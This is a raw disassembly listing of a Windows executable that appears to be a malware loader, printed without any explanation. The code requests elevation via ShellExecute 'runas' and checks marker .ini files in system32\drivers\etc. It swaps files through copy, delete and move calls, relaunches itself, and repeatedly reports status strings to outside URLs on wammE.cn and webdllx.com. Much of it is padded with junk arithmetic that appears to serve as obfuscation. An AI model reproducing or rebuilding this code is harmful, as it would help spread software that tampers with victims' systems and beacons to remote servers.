mov ecx, dword [ebp - 0xfb8]
sar edx, 0x13
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
push ecx
add eax, edx
add edi, esi
lea edx, [ebp - 0x114]
sub edi, eax
push str.C:Program_Files_s
push edx
mov dword [0x45cce4], edi
call fcn.0042fe91
add esp, 0xc
push 1
lea eax, [ebp - 0x114]
push eax
push 0
lea ecx, [ebp - 0x214]
push ecx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x404353
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccc8]
imul esi, esi, 0x3ef21
mov eax, 0x10449d67
imul ecx
sar edx, 0xe
add esi, edx
mov edi, edx
mov eax, 0x3da8152f
imul ecx
sar edx, 0x11
shr edi, 0x1f
add edi, esi
mov esi, edx
add edi, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x1c83d
shr esi, 0x1f
add esi, edi
add esi, edx
mov edx, dword [0x45cce4]
mov eax, 0x3ecaa423
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
push 0
sub esi, eax
push 0
push 0
mov eax, 0xcbb2b9d
imul ecx
mov eax, dword [ebp + 8]
push 0
push str.http:__Stat.wAmmE.cn_C8c_gL_cnZz61.html_paGehttp:__www.WEBDllX.COM_RUNEXEFAIL
push 0x45ccbc
push 0
sar edx, 0xf
push 0
mov ecx, edx
push 1
shr ecx, 0x1f
add esi, edx
add eax, 0x74
add ecx, esi
push 0x68
push eax
mov dword [0x45ccc8], ecx
call fcn.0044251a
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call edi
jmp 0x4035e0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call edi
jmp 0x4035e0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccc8]
imul esi, esi, 0x3ef21
mov eax, 0x10449d67
imul ecx
sar edx, 0xe
add esi, edx
mov ebx, edx
mov eax, 0x3da8152f
imul ecx
sar edx, 0x11
shr ebx, 0x1f
add ebx, esi
mov esi, edx
add ebx, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x1c83d
shr esi, 0x1f
add esi, ebx
add esi, edx
mov edx, dword [0x45cce4]
mov eax, 0x3ecaa423
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xcbb2b9d
imul ecx
sar edx, 0xf
mov ecx, edx
add esi, edx
lea edx, [ebp - 0xfa4]
shr ecx, 0x1f
push edx
add ecx, esi
push 0x101
mov dword [0x45ccc8], ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403675
push 0
call fcn.004303fa
push 0x3e8
call edi
push 0x413c
lea eax, [ebp - 0x314]
push 0x44cb00
push eax
call fcn.0042fe91
add esp, 0xc
lea ecx, [ebp - 0x314]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x55f5c0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40375a
mov edx, dword [0x45ccd4]
mov eax, dword [0x45ccc8]
mov ecx, dword [0x45ccd8]
lea esi, [eax + edx]
mov eax, 0x950cb67f
imul esi, esi, 0x26a94
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x85c24
add esi, edx
mov eax, 0x60d8eff
imul ecx
mov ecx, dword [0x45cce4]
sar edx, 0xd
add esi, edx
mov edi, edx
mov eax, 0x9baa0995
imul ecx
add edx, ecx
sar edx, 0x13
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add eax, edx
add edi, esi
sub edi, eax
mov eax, dword [0x45ccb8]
cmp eax, 0xffffffff
mov dword [0x45cce4], edi
je 0x403753
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.004303fa
mov ecx, dword [0x45cccc]
mov esi, dword [0x45cce4]
imul esi, esi, 0x3ef21
mov eax, 0x69f239fb
imul ecx
mov ecx, dword [0x45ccd4]
sar edx, 0x10
add esi, edx
mov ebx, edx
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
shr ebx, 0x1f
add ebx, esi
mov esi, edx
add ebx, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x84dd7
shr esi, 0x1f
add esi, ebx
add esi, edx
mov eax, 0x3ecaa423
imul ecx
mov ecx, dword [0x45cce8]
imul ecx, ecx, 0x8a702
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [str._r_____r____]
add eax, esi
sub eax, ecx
sub eax, edx
add eax, 0x54963
push 0
push str.C:_WINDoWS_system32driversetC_seRvicE1.ini
mov dword [0x45cccc], eax
call fcn.0043022d
add esp, 8
cmp eax, 0xffffffff
jne 0x403808
push 0
push str.C:_WINDoWS_system32driversEtc_sErvIce2.ini
call fcn.0043022d
add esp, 8
cmp eax, 0xffffffff
je 0x403808
push 0xea60
call edi
mov ecx, dword [0x45ccd8]
mov eax, 0x10449d67
imul ecx
imul ecx, ecx, 0xd2812
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccd0]
mov esi, eax
mov eax, 0x60d8eff
imul edx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x45ccdc]
mov eax, 0x9baa0995
imul ecx
mov eax, dword [0x45cce8]
add edx, ecx
imul eax, eax, 0x8a702
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0x8276a
sub esi, ecx
mov ecx, dword [0x45cce4]
add esi, edx
add esi, eax
sub esi, ecx
push 0
sub esi, 0x3ef21
push str.C:_WINDoWS_system32driversetC_seRvicE1.ini
mov dword [0x45ccd0], esi
call fcn.0043022d
add esp, 8
cmp eax, 0xffffffff
je 0x4042ea
push 0
push str.C:_WINDoWS_system32driversEtc_sErvIce2.ini
call fcn.0043022d
add esp, 8
cmp eax, 0xffffffff
je 0x4042ea
mov edi, dword [0x45cce0]
mov ecx, dword [0x45cce8]
mov eax, 0x1e9f4e3
imul dword [0x45ccd4]
sar edx, 0xc
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x69f239fb
imul edi
imul edi, edi, 0x26a94
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0x85c24
mov ebx, ecx
imul ebx, ebx, 0x3ef21
sub eax, ebx
add eax, edi
add eax, edx
mov ebx, eax
mov eax, 0x3da8152f
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edi, dword [0x45cccc]
mov eax, 0x76595943
imul ecx
imul ecx, ecx, 0x8a702
sar edx, 0x12
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
sub eax, esi
mov dword [0x45ccd8], eax
mov eax, 0x950cb67f
imul edi
add edx, edi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, edi
imul ebx, ebx, 0x84dd7
sub ebx, eax
mov eax, 0x9baa0995
imul dword [0x45ccd4]
add edx, dword [0x45ccd4]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9baa0995
imul edi
add edx, edi
sar edx, 0x13
add ebx, edx
mov eax, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x8276a
shr eax, 0x1f
add eax, ebx
push str.C:_WINDoWS_system32driverSetc_serViCe5.ini
add edx, esi
add edx, eax
push 0x200
lea eax, [ebp - 0xc14]
push eax
add ecx, edx
push 0x44ce59
mov dword [str._r_____r____], ecx
push str.ConfigL0
push str.GameType1
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x44ce59
lea esi, [ebp - 0xc14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x403dc4
mov ecx, dword [0x45cccc]
mov esi, dword [0x45cce4]
imul esi, esi, 0x3ef21
mov eax, 0x69f239fb
imul ecx
mov ecx, dword [0x45ccd4]
sar edx, 0x10
add esi, edx
mov edi, edx
mov eax, 0x1e9f4e3
imul ecx
mov eax, dword [0x45cce0]
sar edx, 0xc
imul eax, eax, 0x84dd7
shr edi, 0x1f
add edi, esi
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
add esi, eax
mov eax, 0x3ecaa423
imul ecx
sar edx, 0x11
mov ecx, edx
add esi, edx
mov edx, dword [0x45cce8]
imul edx, edx, 0x8a702
shr ecx, 0x1f
add ecx, esi
sub ecx, edx
sub ecx, dword [str._r_____r____]
add ecx, 0x54963
lea eax, [ebp - 0xc14]
push eax
mov dword [0x45cccc], ecx
lea ecx, [ebp - 0x14c8]
push 0x12c
push ecx
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x403dc4
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45ccd8]
mov esi, dword [0x45ccdc]
lea edi, [edx + ecx]
imul ecx, ecx, 0x85c24
mov eax, 0x69f239fb
imul edi, edi, 0x8276a
imul esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x1e9f4e3
imul esi
imul esi, esi, 0x84dd7
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
add ecx, dword [0x45cce0]
add ecx, eax
lea ecx, [esi + ecx - 0x3ef21]
mov dword [0x45ccd4], ecx
mov ecx, dword [ebp - 0x14c8]
mov eax, ecx
lea esi, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403b00
sub eax, esi
cmp byte [eax + ecx - 1], 0x5c
mov edx, dword [ebp - 0x14bc]
push edx
lea eax, [ebp - 0x614]
push ecx
jne 0x403b25
push str._s_s
jmp 0x403b2a
push 0x44cd04
push eax
call fcn.0042fe91
mov esi, dword [0x45cccc]
mov ecx, dword [0x45ccd0]
mov edx, dword [0x45ccdc]
lea edi, [ecx + esi]
imul edx, edx, 0x3ef21
mov ecx, dword [0x45cce4]
imul edi, edi, 0x6dec5
add edi, edx
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
mov ebx, edx
add edi, edx
mov eax, 0x9baa0995
imul ecx
add edx, ecx
sar edx, 0x13
shr ebx, 0x1f
mov ecx, edx
add ebx, edi
add ebx, edx
mov eax, 0x3ecaa423
imul esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0xa0dd9
shr ecx, 0x1f
add ecx, ebx
sub ecx, eax
add esp, 0x10
add ecx, edx
lea eax, [ebp - 0x614]
push eax
mov dword [0x45ccdc], ecx
lea ecx, [ebp - 0x414]
push str._s.bak
push ecx
call fcn.0042fe91
add esp, 0xc
push 0
lea edx, [ebp - 0x414]
push edx
lea eax, [ebp - 0x614]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x614]
push ecx
call esi
mov edx, dword [0x45ccd4]
mov eax, dword [0x45ccc8]
mov ecx, dword [0x45ccd8]
lea edi, [eax + edx]
mov eax, 0x950cb67f
imul edi, edi, 0x26a94
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x85c24
add edi, edx
mov eax, 0x60d8eff
imul ecx
sar edx, 0xd
mov ecx, dword [0x45cce4]
mov ebx, edx
add edi, edx
mov eax, 0x9baa0995
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr ebx, 0x1f
shr eax, 0x1f
add eax, edx
add ebx, edi
lea ecx, [ebp - 0x614]
sub ebx, eax
push 0
push ecx
mov dword [0x45cce4], ebx
call fcn.0043022d
add esp, 8
cmp eax, 0xffffffff
mov eax, 0x10449d67
je 0x403d13
mov ecx, dword [0x45ccd0]
mov edi, dword [0x45ccc8]
imul ecx
imul edi, edi, 0x3ef21
sar edx, 0xe
add edi, edx
mov ebx, edx
mov eax, 0x3da8152f
imul ecx
sar edx, 0x11
shr ebx, 0x1f
add ebx, edi
mov edi, edx
add ebx, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x1c83d
shr edi, 0x1f
add edi, ebx
add edi, edx
mov edx, dword [0x45cce4]
mov eax, 0x3ecaa423
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xcbb2b9d
imul ecx
sar edx, 0xf
mov ecx, edx
add edi, edx
shr ecx, 0x1f
lea edx, [ebp - 0x414]
add ecx, edi
push edx
mov dword [0x45ccc8], ecx
call esi
push 0
call fcn.004303fa
mov ecx, dword [0x45ccd8]
imul ecx
imul ecx, ecx, 0xd2812
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccd0]
mov esi, eax
mov eax, 0x60d8eff
imul edx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x45ccdc]
mov eax, 0x9baa0995
imul ecx
mov eax, dword [0x45cce8]
mov ebx, dword [0x45cce4]
imul eax, eax, 0x8a702
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0x8276a
sub esi, ecx
add esi, edx
add esi, eax
lea ecx, [ebp - 0x614]
sub esi, ebx
push ecx
lea edx, [ebp - 0x414]
sub esi, 0x3ef21
push edx
mov dword [0x45ccd0], esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x614]
lea ecx, [ebp - 0x814]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x403db2
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x45cce0]
mov esi, dword [0x45cce8]
mov eax, 0x69f239fb
imul ecx
imul ecx, ecx, 0x26a94
sar edx, 0x10
mov edi, esi
imul edi, edi, 0x3ef21
mov ebx, dword [0x45ccd4]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
mov edi, dword [0x45ccc8]
add eax, ecx
mov ecx, edi
imul ecx, ecx, 0x85c24
add eax, ecx
mov ecx, eax
mov eax, 0x1e9f4e3
imul ebx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x3da8152f
imul esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x76595943
imul esi
mov eax, ecx
sar edx, 0x12
mov ecx, edx
add eax, edx
shr ecx, 0x1f
add ecx, eax
lea eax, [ebp - 0x814]
mov dword [0x45ccd8], ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403e55
sub eax, esi
mov dword [ebp - 0xfa8], eax
jne 0x403e6d
push 0
call fcn.004303fa
mov eax, 0x950cb67f
imul ecx
add edx, ecx
sar edx, 0x12
add edi, ebx
mov eax, edx
imul edi, edi, 0x26a94
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x85c24
add edi, edx
mov eax, 0x60d8eff
imul ecx
mov ecx, dword [0x45cce4]
sar edx, 0xd
mov esi, edx
add edi, edx
mov eax, 0x9baa0995
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr esi, 0x1f
shr eax, 0x1f
add eax, edx
add esi, edi
lea ecx, [ebp - 0x814]
sub esi, eax
push 0
push ecx
mov dword [0x45cce4], esi
call fcn.0043022d
add esp, 8
cmp eax, 0xffffffff
jne 0x404060
mov ecx, dword [0x45ccc8]
mov esi, dword [0x45cce4]
mov eax, 0x69f239fb
imul esi, esi, 0x3ef21
imul ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x1e9f4e3
imul ecx
mov ecx, dword [0x45ccd8]
sub edi, esi
imul ecx, ecx, 0x84dd7
sar edx, 0xc
mov esi, edx
add edi, edx
mov edx, dword [0x45ccd0]
imul edx, edx, 0xe4d
shr esi, 0x1f
add esi, edi
add esi, ecx
mov ecx, dword [str._r_____r____]
push 0
sub esi, edx
mov eax, 0xcbb2b9d
imul ecx
push 0
push 0
push 0
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_pagehttp:__www.webdllx.com_NotDllx
sar edx, 0xf
push 0x45ccbc
mov eax, edx
shr eax, 0x1f
push 0
add eax, edx
sub esi, eax
mov eax, dword [ebp + 8]
push 0
push 1
add eax, 0x74
push 0x68
push eax
mov dword [0x45cce8], esi
call fcn.0044251a
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call edi
mov ecx, dword [0x45cccc]
mov esi, dword [0x45ccd4]
mov eax, 0x950cb67f
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x1e9f4e3
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x84dd7
sub eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0x9baa0995
imul esi
add edx, esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9baa0995
imul ecx
mov eax, dword [0x45cce8]
add edx, ecx
imul eax, eax, 0x8a702
sar edx, 0x13
mov ecx, edx
add ebx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x8276a
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
add ecx, eax
push 0
push str.C:_WINDoWS_system32driversetC_seRvicE1.ini
mov dword [str._r_____r____], ecx
call fcn.0043022d
add esp, 8
cmp eax, 0xffffffff
je 0x404059
push 0
push str.C:_WINDoWS_system32driversEtc_sErvIce2.ini
call fcn.0043022d
add esp, 8
cmp eax, 0xffffffff
jne 0x404066
push 0
call fcn.004303fa
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0xa14]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x404072
mov ecx, dword [0x45cccc]
mov esi, dword [0x45cce4]
imul esi, esi, 0x3ef21
mov eax, 0x69f239fb
imul ecx
mov ecx, dword [0x45ccd4]
sar edx, 0x10
add esi, edx
mov ebx, edx
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
shr ebx, 0x1f
add ebx, esi
mov esi, edx
add ebx, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x84dd7
shr esi, 0x1f
add esi, ebx
add esi, edx
mov eax, 0x3ecaa423
imul ecx
mov ecx, dword [0x45cce8]
imul ecx, ecx, 0x8a702
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov esi, dword [str._r_____r____]
sub eax, ecx
sub eax, esi
add eax, 0x54963
push 0x132b600
mov dword [0x45cccc], eax
call sym.CallDll.exe_int___cdecl_pro_cess5_int_
add esp, 4
push 0x1388
call edi
mov ecx, dword [0x45cce0]
mov esi, dword [0x45cce8]
mov eax, 0x69f239fb
imul ecx
imul ecx, ecx, 0x26a94
sar edx, 0x10
mov ebx, esi
imul ebx, ebx, 0x3ef21
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
add eax, ecx
mov ecx, dword [0x45ccc8]
imul ecx, ecx, 0x85c24
add eax, ecx
mov ecx, dword [0x45ccd4]
mov ebx, eax
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3da8152f
imul esi
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x76595943
imul esi
sar edx, 0x12
sub ebx, ecx
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov dword [0x45ccd8], eax
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push 0
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_pagehttp:__www.WebDllx.com_NewRun
push 0x45ccbc
push 0
push 0
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0044251a
add esp, 0x2c
push 0x2710
call edi
mov edi, dword [str._r_____r____]
mov ecx, dword [0x45ccd8]
lea esi, [ecx + edi]
imul edi, edi, 0x85c24
mov ecx, dword [0x45ccdc]
imul esi, esi, 0x8276a
mov eax, 0x69f239fb
imul ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
add esi, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x84dd7
shr eax, 0x1f
add eax, esi
mov esi, dword [0x45cce0]
add edi, esi
add edi, eax
lea eax, [edx + edi - 0x3ef21]
mov dword [0x45ccd4], eax
mov dword [ebp + 8], 0
mov edi, edi
mov edi, dword [0x45cccc]
imul ecx, ecx, 0x3ef21
imul esi, esi, 0xa0dd9
mov edx, dword [0x45ccd0]
lea ebx, [edx + edi]
imul ebx, ebx, 0x6dec5
add ebx, ecx
mov ecx, dword [0x45cce4]
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov ebx, eax
mov eax, 0x9baa0995
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
add ebx, edx
mov eax, 0x3ecaa423
imul edi
sar edx, 0x11
shr ecx, 0x1f
mov eax, edx
shr eax, 0x1f
add ecx, ebx
add eax, edx
sub ecx, eax
add ecx, esi
push 0x2710
mov byte [ebp - 4], 2
mov dword [0x45ccdc], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 8]
cdq
mov ecx, 0x1e
idiv ecx
test edx, edx
jne 0x4042c5
push edx
call fcn.0040e080
add esp, 4
mov eax, dword [ebp + 8]
mov ecx, dword [0x45ccdc]
mov esi, dword [0x45cce0]
inc eax
mov dword [ebp - 4], 1
mov dword [ebp + 8], eax
jmp 0x404230
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45ccd8]
mov esi, dword [0x45ccdc]
lea ebx, [edx + ecx]
imul ecx, ecx, 0x85c24
mov eax, 0x69f239fb
imul ebx, ebx, 0x8276a
imul esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x1e9f4e3
imul esi
imul esi, esi, 0x84dd7
sar edx, 0xc
mov eax, edx
add ebx, edx
shr eax, 0x1f
add eax, ebx
add ecx, dword [0x45cce0]
add ecx, eax
lea ecx, [esi + ecx - 0x3ef21]
push 0x493e0
mov dword [0x45ccd4], ecx
call edi
push 0
call fcn.004303fa
push 0x200
lea edx, [ebp - 0xa14]
xor eax, eax
push edx
mov ecx, 0x11
lea edi, [ebp - 0x1008]
rep stosd dword es:[edi], eax
push eax
mov dword [ebp - 0x1008], 0x44
mov dword [ebp - 0xfdc], 1
mov word [ebp - 0xfd8], 5
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x1018]
push eax
lea ecx, [ebp - 0x1008]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
lea edx, [ebp - 0xa14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, 0x404353
ret